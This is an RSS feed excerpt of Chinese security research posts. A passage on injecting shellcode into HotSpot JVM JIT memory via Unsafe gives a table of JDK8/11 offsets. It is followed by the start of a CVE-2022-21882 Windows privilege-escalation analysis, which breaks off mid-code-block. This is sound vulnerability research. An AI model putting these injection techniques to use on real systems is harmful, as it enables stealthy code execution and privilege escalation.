rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ConstMethod</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ConstantPool</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Symbol</code>这些oop数据结构中的变量偏移计算出JIT的地址。<span style="text-align: center;letter-spacing: 0px;"></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" style="" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=32cda97b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGicyZGTevgwoUYlSSKVbsczYnl3pgTqZTG6RAnz3u1tbqv3YU2MgzEp0g%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0px;text-align: left;"></span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我们要计算出的目标JIT地址是目标函数的JIT地址，这需要目标方法经多次调用触发即时编译，并自动设置<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">_from_compiled_entry</code>属性，然后对比函数名和Signature，从目标类众多默认方法中过滤出目标方法来，再通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Method</code>加上<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">_from_compiled_entry</code>偏移计算出来。（这里的Signature即形如<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">()V</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">(Ljava/lang/String;)V</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">()Ljava/lang/String;</code>的函数签名）</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">上图没有提到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InstanceKlass</code>的获取，其实只要通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Target.class</code>获取到目标类的类实例，再用Unsafe读取类实例加上<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">java_lang_Class</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">klass</code>偏移即可。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.49920760697305866" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1262" src="https://wechat2rss.xlab.app/img-proxy/?k=c969eca0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGicFdYfZaCuibUkSCm7puicH6OXxmAYeRy5Y14EPQMUlcdkBtLojqtrsNdw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">JVM的JIT在内存中是一个可读可写可执行的区域，最后使用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Unsafe</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">putByte</code>方法写入shellcode，再调用目标方法即可执行。这里要注意的是，如果使用没有恢复现场，即破坏了原有栈帧的shellcode，<strong>会导致JVM崩溃，切勿在生成环境上测试</strong>。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.696445725264169" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1041" src="https://wechat2rss.xlab.app/img-proxy/?k=bcb02fa5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGic6vNxfjD0AumlwBalP4mvSaqQvzAdanBeJlbKseVwRrWpMv8hahzqhw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">以上的Demo代码可以@xxDark的 JavaShellcodeInjector项目中浏览。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span>部分问题修复及改进</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在32位的JDK跑Demo，JRE会抛出个异常，调试发现是从目标类实例获取<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InstanceKlass</code>的偏移：klassOffset，从内存取到的值是0，使得获取到的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">klass</code>不正确，导致Unsafe读取了一个异常的地址。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.144" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1125" src="https://wechat2rss.xlab.app/img-proxy/?k=bce644d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGicSPw5Va4MySGOOcnu0p3TyICMlVQo9fkxT8aQn5UWVeOgMq4DhytXlg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">问题的原因目前还不得而知，但通过HSDB找到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">java.lang.Class</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InstanceKlass</code>就可以看到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">klass</code>的偏移，后续其他自动获取的偏移也没有出现异常。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7966751918158568" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="782" src="https://wechat2rss.xlab.app/img-proxy/?k=f83ee12f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGicMy1VWZMmmo89ic8BUJicCBrHInxW5YHkDOLV5xPV1nQt2QjtNlXWcBuw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">上面自动化地计算偏移，要加载JVM的链接库，还要获取一堆JVM里的数据结构、记录一堆oop和常量池的值，这要是想将POC写成一个文件着实有点不方便啊。那有没有一种简单粗暴的方法呢？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">答案是肯定的。笔者刚好装有多个版本的JDK，发现JDK大版本和操作系统位数相同的时候，上面那些偏移是不变的。翻看JDK的源码不难发现，这些offset归根结底由<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">offset_of</code>宏得出，一个与C语言<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">offsetof</code>作用相同的宏，结果是一个结构成员相对于结构开头的字节偏移量。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.21245421245421245" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="546" src="https://wechat2rss.xlab.app/img-proxy/?k=807e36b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGicW2SJO0NgjBnFT2IYmib7WF4419ur8ZLGZswaM1pEpT5HJyia9VuJGS1w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">而通过之前查阅的资料得知，不同JDK大版本之间的oop数据结构才存在差异，我们只要记录下这些相同架构和大版本的偏移，就能直接计算出JIT的地址，可以免去加载JVM链接库和收集、存储JVM里数据结构的操作。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">以下是笔者收集的部分LTS版本JDK的oop相关偏移：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibO6RibZ0y47lCumKm6Cdonx41ZlNSoibt7a1oic8jSMrbIjpXCBco5LopCwbmEavFLA7gZwDib24K5L/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">//        JDK8 x32<br/>static int klassOffset = 0x44;<br/>static int methodArrayOffset = 0xe4;<br/>static int methodsOffset = 0x4;<br/>static int constMethodOffset = 0x4;<br/>static int constantPoolTypeSize = 0x2c;<br/>static int constantPoolOffset = 0x8;<br/>static int nameIndexOffset = 0x1a;<br/>static int signatureIndexOffset = 0x1c;<br/>static int _from_compiled_entry = 0x24;<br/>static int symbolTypeBodyOffset = 0x8;<br/>static int symbolTypeLengthOffset = 0x0;<br/>//        JDK8 x64<br/>static int klassOffset = 0x48;<br/>static int methodArrayOffset = 0x180;<br/>static int methodsOffset = 0x8;<br/>static int constMethodOffset = 0x8;<br/>static int constantPoolTypeSize = 0x50;<br/>static int constantPoolOffset = 0x8;<br/>static int nameIndexOffset = 0x22;<br/>static int signatureIndexOffset = 0x24;<br/>static int _from_compiled_entry = 0x40;<br/>static int symbolTypeBodyOffset = 0x8;<br/>static int symbolTypeLengthOffset = 0x0;<br/>//        JDK11 x64<br/>static int klassOffset = 0x50;<br/>static int methodArrayOffset = 0x198;<br/>static int methodsOffset = 0x8;<br/>static int constMethodOffset = 0x8;<br/>static int constantPoolTypeSize = 0x40;<br/>static int constantPoolOffset = 0x8;<br/>static int nameIndexOffset = 0x2a;<br/>static int signatureIndexOffset = 0x2c;<br/>static int _from_compiled_entry = 0x38;<br/>static int symbolTypeBodyOffset = 0x6;<br/>static int symbolTypeLengthOffset = 0x0;<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>后记</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">笔者在JDK7也曾尝试注入shellcode，但最后还是以失败告终，不仅是因为JDK7到JDK8的oop数据结构发生了很大的变化，而是JDK7中的类示例中并没有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InstanceKlass</code>结构成员，但<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">java_lang_CLass</code>中又确确实实存在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">_klass_offset</code>这个结构成员，这点就比较奇怪。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.40171990171990174" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="814" src="https://wechat2rss.xlab.app/img-proxy/?k=38023417&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGicgjY9ibKp5twvx3jUkdvOTiaatPL1P2xvD4wMStHvnfS2mGMxLTiapOL7g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">翻看官方工具HSDB，发现是通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">BasicHashtable&lt;mtInternal&gt;</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">_buckets</code>结构成员获取所有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InstanceKlass</code>的。由于JDK7上POC的oop数据结构需要改动较多，且还不知道<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">BasicHashtable&lt;mtInternal&gt;</code>要怎么获取，所以JDK7下的POC还未实现。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最后两个的shellcode注入方法基于Oracle JDK和Openjdk的默认JVM：HotSpot，其他一些的JVM的实现方法就要静待各位师傅发掘。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">文中若有错误的地方，望各位师傅不吝斧正。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>参考</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://xz.aliyun.com/t/10075" target="_blank">https://xz.aliyun.com/t/10075</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://www.slideshare.net/RyanWincey/java-shellcodeoffice" target="_blank">https://www.slideshare.net/RyanWincey/java-shellcodeoffice</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://github.com/xxDark/JavaShellcodeInjector/blob/master/src/main/java/me/xdark/shell/ShellcodeRunner.java" target="_blank">https://github.com/xxDark/JavaShellcodeInjector/blob/master/src/main/java/me/xdark/shell/ShellcodeRunner.java</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://qiankunli.github.io/2014/10/27/jvm_classloader.html" target="_blank">https://qiankunli.github.io/2014/10/27/jvm_classloader.html</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://www.sczyh30.com/posts/Java/jvm-klass-oop/" target="_blank">https://www.sczyh30.com/posts/Java/jvm-klass-oop/</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://jishuin.proginn.com/p/763bfbd58ef3" target="_blank">https://jishuin.proginn.com/p/763bfbd58ef3</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://tech.meituan.com/2020/10/22/java-jit-practice-in-meituan.html" target="_blank">https://tech.meituan.com/2020/10/22/java-jit-practice-in-meituan.html</a></p></section><p><br/></p>



<p><a href="2247484681">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=775966fb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484681%26idx%3D1%26sn%3D865bf988731a5a3624e3232f27eb8aa3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 18 Mar 2022 20:20:00 +0800</pubDate>
    </item>
    <item>
      <title>Microsoft Windows提权漏洞(CVE-2022-21882)分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484657&amp;idx=1&amp;sn=443cc87db48e8828c4768e32f5ac3ad4</link>
      <description>本文介绍CVE-2022-21882漏洞，以及它如何绕过2021年2月修补的CVE-2021-1732的补丁</description>
      <content:encoded><![CDATA[<p>
原创 <span>Muoziiy</span> <span>2022-03-15 20:44</span> <span style="display: inline-block;"></span>
</p>

<p>本文介绍CVE-2022-21882漏洞，以及它如何绕过2021年2月修补的CVE-2021-1732的补丁</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2dedfc87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCftd5b9WApoDdUvwPSErUBAtqYqUCqr9Cb1INJYqO24OGJ29cGEqsXMg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span>前言</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">2022年1月，微软发布了一个补丁来修复Windows内核中的漏洞。此漏洞允许攻击者以SYSTEM权限执行代码，本文介绍CVE-2022-21882漏洞，以及它如何绕过2021年2月修补的CVE-2021-1732的补丁。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">CVE-2022-21882属于CVE-2021-1732的补丁绕过，所以这里对漏洞原理的介绍就直接用1732代替，网上对1732的漏洞分析已经非常多了，在这里我推荐阅读in1t对1732的分析文章，真的非常详细，本人在分析过程中也大量参考了in1t的报告，十分感谢。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本次分析用到的EXP来自KaLendsi。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull.sys 10.0.17763.194</p><hr data-tool="mdnice编辑器" style="height: 1px;margin-top: 10px;margin-bottom: 10px;border-right: none;border-bottom: none;border-left: none;border-top-style: solid;border-top-color: black;"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>漏洞分析</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">用户态进程创建Windows窗口时，需要先注册一个窗口类结构体，然后基于注册好的窗口类，来创建一个相应的窗口。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">WinUser.h中定义的窗口类结构体如下。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy9rQwzJM0VG490IdVDvjjk47LFFxoic54fyJJ43xkGoWKlBI0qg6kzqkJGPEvROAZEc7icEuYwWXdz/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">typedef</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">struct</span> <span style="color: #e6c07b;line-height: 26px;">tagWNDCLASSEXW</span> {</span><br/>    UINT        cbSize;<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* Win 3.x */</span><br/>    UINT        style;<br/>    WNDPROC     lpfnWndProc;<br/>    <span style="color: #c678dd;line-height: 26px;">int</span>         cbClsExtra;<br/>    <span style="color: #c678dd;line-height: 26px;">int</span>         cbWndExtra;<br/>    HINSTANCE   hInstance;<br/>    HICON       hIcon;<br/>    HCURSOR     hCursor;<br/>    HBRUSH      hbrBackground;<br/>    LPCWSTR     lpszMenuName;<br/>    LPCWSTR     lpszClassName;<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* Win 4.0 */</span><br/>    HICON       hIconSm;<br/>} WNDCLASSEXW, *PWNDCLASSEXW, NEAR *NPWNDCLASSEXW, FAR *LPWNDCLASSEXW;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在上述结构体中，与漏洞相关的字段为cbWndExtra，此字段决定了创建的窗口的扩展内存的大小。当我们使用CreateWindowExW创建窗口时，最终会在内核中调用win32kfull!xxxCreateWindowEx函数，在此函数内会判断cbWndExtra是否为0，如果不为0，就会调用win32kfull!xxxClientAllocWindowClassExtraBytes函数，在用户层申请一块cbWndExtra大小的内存空间用作该窗口的扩展内存。当win32kfull!xxxClientAllocWindowClassExtraBytes函数返回后，没有做任何判断，直接将返回值赋值给tagWND.pExtraBytes，关于tagWND.pExtraBytes，后面会介绍。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxCreateWindowWx</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.1900121802679659" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="821" src="https://wechat2rss.xlab.app/img-proxy/?k=8b9f29ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf8RPNRn5nmPVf4yERicNBc0QicqVJ6Lw6dt3Kyfzunl2BWF7f14RiaZMhw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">每个窗口的扩展内存都是独享的，用于保存当前窗口的一些临时数据，Windows系统提供了一些用户层API用于操作这块内存，例如GetWindowLong、GetWindowLongPtr、SetWindowLong、SetWindowLongPtr。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">上面提到的tagWND，是一个结构体，Windows用它来描述创建的每个窗口，此结构体的符号在Win7系统中还是导出的，但由于win32k模块中的漏洞较多，所以在现在的Win10中，这个结构体就不再导出符号了，但通过一些研究人员逆向分析以及网上公开的资料，仍然能够获得tagWND较为详细的结构，这极大的帮助了我们的分析。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>tagWND结构如下（源自in1t）：</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy9rQwzJM0VG490IdVDvjjk47LFFxoic54fyJJ43xkGoWKlBI0qg6kzqkJGPEvROAZEc7icEuYwWXdz/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: 